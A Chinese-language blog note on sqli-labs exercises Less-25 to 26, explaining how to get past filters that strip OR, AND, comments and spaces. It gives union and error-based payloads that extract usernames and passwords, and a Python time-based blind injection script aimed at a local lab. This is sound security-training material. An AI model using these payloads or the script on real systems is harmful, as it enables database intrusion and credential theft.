note-12

less-25 字符过滤绕过

由题目可知道过滤了or和and,大小写没用。

1
2
3
4
5
6
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}

i表示不敏感大小写,这样的话想用报错注入就要进行绕过了

1
2
and可以用&&
or可以用||

也有双写绕过

1
2
3
4
5
6
7
8
9
10
输入
oorr
进行过滤后会变成
or
实现绕过

同理
输入aandnd
经过过滤变成
and

当然可以直接用联合注入法:
注意要绕过字符

1
2
3
4
5
6
?id=' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

?id=' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' aandnd table_schema='security'--+

information要换成infoorrmation。
and要换成&&或者aandnd。

最后payload

1
2
3
?id=' union select 1,2,group_concat(id,username,'!',passwoorrd) from users--+

passsword要换成passwoord

less-25a

要求使用盲注,而且像上题一样过滤or和and,
测试了好一会,发现根本不需要闭合

1
?id=-1 union select 1,2,3 

题目可以直接联合注入

1
?id=-1 union select 1,2,group_concat(id,username,passwoorrd) from users 

但是本意应该是让练习盲注的,所以修改了一下以前的脚本
时间盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests  # 导入requests库,用于发送HTTP请求
import time # 导入time库,用于测量时间延迟

# 定义一个包含可能字符的字符串,用于猜测数据库、表和字段的名称
ALPHABET = ",abcdefghijklmnopqrstuvwxyz0123456789_@.-"

# 定义一个时间延迟,用于判断是否存在SQL注入
SLEEP_TIME = 1

# 定义目标URL,其中包含一个SQL注入的payload模板
# {sql}:表示要执行的SQL查询
# {position}:表示当前猜测的字符位置
# {char}:表示当前猜测的字符
# {time}:表示延迟时间
URL = "http://localhost/sqli-labs/Less-25a/?id=1 aandnd if(substr(({sql}),{position},1)='{char}',sleep({time}),1)--+"

# 定义一个函数,用于发送HTTP请求并判断是否存在延迟
def inject(path):
start = time.time() # 记录请求开始时间
response = requests.get(path) # 发送HTTP GET请求
end = time.time() # 记录请求结束时间
# 如果响应状态码为200且响应时间超过预设的延迟时间,则认为存在SQL注入
if response.status_code == 200 and end - start > SLEEP_TIME:
return True
else:
return False

# 定义一个函数,用于提取数据库、表、字段或数据
def extract_data(sql):
s = "" # 初始化一个空字符串,用于存储结果
position = 0 # 初始化字符位置计数器
while True:
position += 1 # 每次循环增加字符位置
# 尝试猜测当前字符位置是否为空
res = inject(URL.format(sql=sql, position=position, char="", time=SLEEP_TIME))
if res:
break # 如果为空,退出循环
# 遍历所有可能的字符
for char in ALPHABET:
# 构造完整的URL并发送请求
res = inject(URL.format(sql=sql, position=position, char=char, time=SLEEP_TIME))
if res:
s += char # 如果猜测正确,将字符添加到结果字符串中
break # 退出循环,继续下一个字符
return s # 返回最终结果字符串

# 获取数据库名
database = extract_data("database()")
print(database) # 调用extract_data函数,传入SQL查询语句获取数据库名

# 获取表名
tables = extract_data("select group_concat(table_name) from infoorrmation_schema.tables where table_schema='%s'" % database)
print(tables)

# 获取字段名
columns = extract_data("select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users'")
print(columns)

# 获取用户名和密码,可以替换自己想要的表名
#all = extract_data("select group_concat(id,username,password) from users")
#print(all)

less-26

1
2
3
4
5
6
7
8
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

\s = 空格
大概就是空格,制表符,换行符都过滤了,

注释可以用;%00
空格绕过%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格空格,但是可能是apache解析不了(我用的也是apache),博客上都选择报错注入加()绕过空格,就不用考虑空格
or 可以用 || 或 oorr
and 可以用 && 或 aandnd

1
2
3
4
5
?id=%27%20||%20extractvalue(1,concat(0x7e,(select%20(concat(username,%27:%27,passwoorrd))%20from%20(users)%20where(id=1))));%00 
=
'||extractvalue(1,concat(0x7e,(select(concat(username,':',password))from(users)where(id=1))));

https://blog.csdn.net/2301_76913435/article/details/145601627

其中包含:双写or,;%00绕过注释符号

1
2
3
?id=-1' || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) ))  ,1) || '1'='1

https://www.cnblogs.com/linfangnan/p/13940107.html

其中包含:双写or,||’1’=’1’ 来闭合语句使得不用注释,security.users来确定是security下的users


note-12
https://aidemofashi.github.io/2025/03/13/note-12/
作者
aidemofashi
发布于
2025年3月13日
许可协议